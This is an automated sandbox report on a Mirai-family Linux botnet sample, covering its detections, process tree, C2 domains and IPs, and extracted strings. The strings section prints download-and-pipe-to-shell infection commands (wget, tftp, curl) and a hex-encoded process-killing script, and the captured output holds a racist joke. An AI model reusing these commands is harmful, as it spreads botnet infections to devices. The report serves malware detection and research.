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Linux Analysis Report
splarm5.elf

Overview

General Information

Sample name:	splarm5.elf
Analysis ID:	1643404
MD5:	2466db93c0ac601919ffed87a80d5805
SHA1:	376b5feaa408798943d799bbdb538672b2735a90
SHA256:	28d277740be8bbd4c8ee2c98b7b30a2e831f33cba6c634078261c52bf7993763
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643404
Start date and time:	2025-03-19 20:16:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm5.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/77@27/0

Runtime Messages

Command:	/tmp/splarm5.elf
PID:	5431
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

splarm5.elf (PID: 5431, Parent: 5353, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm5.elf

splarm5.elf New Fork (PID: 5439, Parent: 5431)

splarm5.elf New Fork (PID: 5441, Parent: 5439)

splarm5.elf New Fork (PID: 5443, Parent: 5439)

splarm5.elf New Fork (PID: 5444, Parent: 5439)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:49052 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.13:43446 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.13:42094 -> 185.220.204.227:1440

Source: /tmp/splarm5.elf (PID: 5431)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 109.93.55.176
Source: unknown	TCP traffic detected without corresponding DNS query: 109.93.55.176
Source: unknown	TCP traffic detected without corresponding DNS query: 60.129.221.245
Source: unknown	TCP traffic detected without corresponding DNS query: 60.129.221.245
Source: unknown	TCP traffic detected without corresponding DNS query: 2.235.240.129
Source: unknown	TCP traffic detected without corresponding DNS query: 109.41.253.121
Source: unknown	TCP traffic detected without corresponding DNS query: 2.235.240.129
Source: unknown	TCP traffic detected without corresponding DNS query: 109.41.253.121
Source: unknown	TCP traffic detected without corresponding DNS query: 101.95.135.234
Source: unknown	TCP traffic detected without corresponding DNS query: 101.95.135.234
Source: unknown	TCP traffic detected without corresponding DNS query: 177.22.86.132
Source: unknown	TCP traffic detected without corresponding DNS query: 177.22.86.132
Source: unknown	TCP traffic detected without corresponding DNS query: 126.2.242.145
Source: unknown	TCP traffic detected without corresponding DNS query: 29.93.146.233
Source: unknown	TCP traffic detected without corresponding DNS query: 126.2.242.145
Source: unknown	TCP traffic detected without corresponding DNS query: 119.206.53.147
Source: unknown	TCP traffic detected without corresponding DNS query: 29.93.146.233
Source: unknown	TCP traffic detected without corresponding DNS query: 119.206.53.147
Source: unknown	TCP traffic detected without corresponding DNS query: 193.174.53.170
Source: unknown	TCP traffic detected without corresponding DNS query: 186.148.108.155
Source: unknown	TCP traffic detected without corresponding DNS query: 193.174.53.170
Source: unknown	TCP traffic detected without corresponding DNS query: 186.148.108.155
Source: unknown	TCP traffic detected without corresponding DNS query: 101.128.87.236
Source: unknown	TCP traffic detected without corresponding DNS query: 178.187.48.51
Source: unknown	TCP traffic detected without corresponding DNS query: 101.128.87.236
Source: unknown	TCP traffic detected without corresponding DNS query: 40.198.143.148
Source: unknown	TCP traffic detected without corresponding DNS query: 178.187.48.51
Source: unknown	TCP traffic detected without corresponding DNS query: 40.198.143.148
Source: unknown	TCP traffic detected without corresponding DNS query: 76.220.4.191
Source: unknown	TCP traffic detected without corresponding DNS query: 77.54.9.61
Source: unknown	TCP traffic detected without corresponding DNS query: 76.220.4.191
Source: unknown	TCP traffic detected without corresponding DNS query: 203.33.50.181
Source: unknown	TCP traffic detected without corresponding DNS query: 77.54.9.61
Source: unknown	TCP traffic detected without corresponding DNS query: 198.167.168.214
Source: unknown	TCP traffic detected without corresponding DNS query: 203.33.50.181
Source: unknown	TCP traffic detected without corresponding DNS query: 198.167.168.214
Source: unknown	TCP traffic detected without corresponding DNS query: 56.14.252.72
Source: unknown	TCP traffic detected without corresponding DNS query: 56.14.252.72
Source: unknown	TCP traffic detected without corresponding DNS query: 141.57.2.132
Source: unknown	TCP traffic detected without corresponding DNS query: 141.57.2.132
Source: unknown	TCP traffic detected without corresponding DNS query: 61.89.41.131
Source: unknown	TCP traffic detected without corresponding DNS query: 61.89.41.131
Source: unknown	TCP traffic detected without corresponding DNS query: 77.69.12.121
Source: unknown	TCP traffic detected without corresponding DNS query: 77.69.12.121
Source: unknown	TCP traffic detected without corresponding DNS query: 2.153.103.50
Source: unknown	TCP traffic detected without corresponding DNS query: 2.153.103.50
Source: unknown	TCP traffic detected without corresponding DNS query: 222.212.83.173
Source: unknown	TCP traffic detected without corresponding DNS query: 222.212.83.173
Source: unknown	TCP traffic detected without corresponding DNS query: 27.65.9.222
Source: unknown	TCP traffic detected without corresponding DNS query: 217.217.225.204

Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: splarm5.elf	String found in binary or memory: http:///curl.sh
Source: splarm5.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/77@27/0

Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/3639/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/5270/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/128/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/7/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/249/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/129/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/8/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/800/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/9/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1906/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/802/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/803/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/20/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/21/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/22/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/23/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/24/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/25/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/26/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/27/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/28/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/29/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/3420/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1482/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/490/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1480/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/250/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/371/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/130/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/251/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/131/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/252/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/132/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/253/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/254/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1238/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/134/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/255/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/256/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/257/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/378/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/3413/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/258/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/259/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/1475/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/936/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/30/comm	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5431)	File opened: /proc/816/comm	Jump to behavior

Source: /tmp/splarm5.elf (PID: 5431)

Queries kernel information via 'uname':

Jump to behavior

Source: splarm5.elf, 5431.1.000055b222e1b000.000055b222f69000.rw-.sdmp, splarm5.elf, 5441.1.000055b222e1b000.000055b222f69000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm5.elf, 5431.1.00007fff5fb77000.00007fff5fb98000.rw-.sdmp, splarm5.elf, 5441.1.00007fff5fb77000.00007fff5fb98000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm5.elf
Source: splarm5.elf, 5431.1.000055b222e1b000.000055b222f69000.rw-.sdmp, splarm5.elf, 5441.1.000055b222e1b000.000055b222f69000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm5.elf, 5431.1.00007fff5fb77000.00007fff5fb98000.rw-.sdmp, splarm5.elf, 5441.1.00007fff5fb77000.00007fff5fb98000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
splarm5.elf	42%	Virustotal		Browse
splarm5.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ohlookthereismyboats.geek	45.147.251.145	true	false		high
watchmepull.dyn. [malformed]	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm5.elf	false		high
http:///curl.sh	splarm5.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.214.113.168	unknown	Indonesia	136052	IDNIC-IDCLOUDHOST-AS-IDPTCloudHostingIndonesiaID	false
116.245.153.230	unknown	China	9443	VOCUS-RETAIL-AUVocusRetailAU	false
112.204.3.65	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
138.127.246.178	unknown	United States	8983	NOKIA-ASFI	false
114.212.45.157	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
47.250.119.118	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
71.154.126.80	unknown	United States	7018	ATT-INTERNET4US	false
87.133.81.110	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
23.238.6.130	unknown	United States	54290	HOSTWINDSUS	false
151.178.62.159	unknown	Australia	45025	EDN-ASUA	false
45.184.159.179	unknown	Paraguay	269794	GRUPOSPEEDNETSOCIEDADANONIMAPY	false
78.91.120.115	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
202.110.190.125	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
175.237.183.122	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
146.200.248.199	unknown	United States	6871	PLUSNETUKInternetServiceProviderGB	false
53.246.104.178	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
209.203.161.248	unknown	United States	30174	UTAUS	false
47.116.68.129	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
185.136.85.22	unknown	Turkey	203393	ONETRATR	false
140.82.96.46	unknown	United States	14124	GEEKWERX-NETWORKUS	false
181.200.41.238	unknown	Chile	27680	TELEFONICAMOVILDECHILESACL	false
175.214.157.198	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
40.245.130.8	unknown	United States	4249	LILLY-ASUS	false
126.64.214.131	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
216.175.84.88	unknown	United States	7029	WINDSTREAMUS	false
96.255.108.94	unknown	United States	701	UUNETUS	false
190.191.75.87	unknown	Argentina	10481	TelecomArgentinaSAAR	false
186.132.136.44	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
210.60.130.219	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
27.43.115.32	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
43.31.179.209	unknown	Japan	4249	LILLY-ASUS	false
125.231.96.137	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
154.211.205.214	unknown	Seychelles	138392	CTC-HKColleaguesTechnologyCOLIMITEDHK	false
152.140.49.16	unknown	United States	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
215.70.132.237	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
138.119.0.170	unknown	Canada	611	NECN-1-611CA	false
32.36.88.85	unknown	United States	2686	ATGS-MMD-ASUS	false
200.248.42.103	unknown	Brazil	4230	CLAROSABR	false
81.70.160.39	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
212.130.115.192	unknown	Denmark	3292	TDCTDCASDK	false
146.30.113.106	unknown	United States	197938	TRAVIANGAMESDE	false
177.219.148.24	unknown	Brazil	26615	TIMSABR	false
70.50.103.83	unknown	Canada	577	BACOMCA	false
78.15.21.177	unknown	Italy	8612	TISCALI-IT	false
176.237.10.198	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
193.172.223.208	unknown	Netherlands	1136	KPNKPNNationalEU	false
6.9.120.35	unknown	United States	668	DNIC-AS-00668US	false
223.127.39.148	unknown	China	58453	CMI-INT-HKLevel30Tower1HK	false
102.25.57.104	unknown	Tunisia	5438	ATI-TN	false
80.185.213.168	unknown	France	41272	MOSELLE-TELECOM-ASFR	false
168.25.139.162	unknown	United States	3479	PEACHNET-AS1US	false
28.125.106.212	unknown	United States	7922	COMCAST-7922US	false
63.109.132.222	unknown	United States	701	UUNETUS	false
129.185.190.66	unknown	France	21150	INACDE-ATOSDE	false
60.130.51.219	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
201.85.209.0	unknown	Brazil	15180	UOLDIVEOSABR	false
210.248.36.161	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
33.121.1.251	unknown	United States	2686	ATGS-MMD-ASUS	false
106.56.165.223	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
138.153.64.165	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
153.36.12.0	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
213.142.208.150	unknown	Russian Federation	13257	POLARCOM-ASMurmanskRU	false
120.249.9.139	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
148.39.20.120	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
85.142.194.214	unknown	Russian Federation	3267	RUNNETRU	false
175.30.26.156	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
76.89.138.106	unknown	United States	20001	TWC-20001-PACWESTUS	false
146.101.28.183	unknown	United Kingdom	1290	TELSTRAEUROPELTD-BACKBONETelstraEuropeLtdEU	false
9.60.209.105	unknown	United States	3356	LEVEL3US	false
91.100.247.78	unknown	Denmark	15516	DK-DANSKKABELTVDK	false
137.2.203.76	unknown	United States	491	AFCONC-BLOCK1-ASUS	false
159.125.245.87	unknown	United States	16983	AS16983US	false
112.124.202.53	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
133.209.41.227	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
198.160.244.96	unknown	United States	27186	REXINDUSTRIESUS	false
212.62.75.27	unknown	Germany	8879	DTS-SYSTEMEDTSSystemeGmbHDE	false
186.170.136.10	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
58.152.194.26	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
79.157.184.82	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
119.32.178.19	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
197.192.204.170	unknown	Egypt	36992	ETISALAT-MISREG	false
24.95.152.146	unknown	United States	10796	TWC-10796-MIDWESTUS	false
208.118.239.68	unknown	United States	22147	PACKETSURGEUS	false
45.74.4.243	unknown	United States	9009	M247GB	false
211.53.82.69	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
116.189.7.175	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
130.229.89.9	unknown	Sweden	2837	SUNET-KISE	false
